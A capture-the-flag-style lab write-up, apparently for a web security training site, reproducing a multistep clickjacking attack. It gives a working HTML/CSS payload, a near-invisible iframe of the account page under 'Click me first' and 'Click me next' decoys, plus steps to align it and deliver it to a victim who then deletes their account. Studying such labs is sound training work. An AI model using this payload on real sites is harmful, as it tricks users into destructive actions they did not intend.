Multistep clickjacking¶
Description¶
This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialogue to protect against clickjacking.
Reproduction and proof of concept¶
Log in to the
wiener:peteraccount on the target website.Create payload:
The iframe
srcURL points to the target website vulnerable page. In this case, the target website’s user account page, and depends on the uniquelab-id.An initial opacity of 0.1 to align the iframe actions and adjust the position values.
Initial
$top_value1and$side_value1values of resp330pxand50pxto align the “Delete account” button with the “Test me first” decoy action.Initial
$top_value2and$side_value2variables of resp.285pxand225pxto align the “Test me next” decoy action with the “Yes” button on the confirmation page.
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.5;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:495px;
left:50px;
z-index: 1;
}
.secondClick {
top:285px;
left:200px;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="https://0a0100e003ab414dc0dbe6e7003a004a.web-security-academy.net/my-account"></iframe>
Go to the exploit server and paste the payload into the
bodyfield of the form.Click Store and then View exploit. Hover over Test me first to make sure the cursor changes to a hand indicating that the
divelement is positioned correctly. If it is not, adjust the position of the div element by modifying the top and left properties inside thefirstClickclass of the style sheet.Click Test me first then hover over Test me next and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If it is not, adjust the position of the div element by modifying the
topandleftproperties inside thesecondClickclass of the style sheet.Change “Test me first” to “Click me first”, “Test me next” to “Click me next”, set
opacityto0.0001, and click Store.

Deliver exploit to victim
Exploitability¶
An attacker needs to have access to the site (wiener:peter) and construct an attack that fools the user into clicking the delete account button and the confirmation dialogue by clicking on “Click me first” and “Click me next” decoy actions.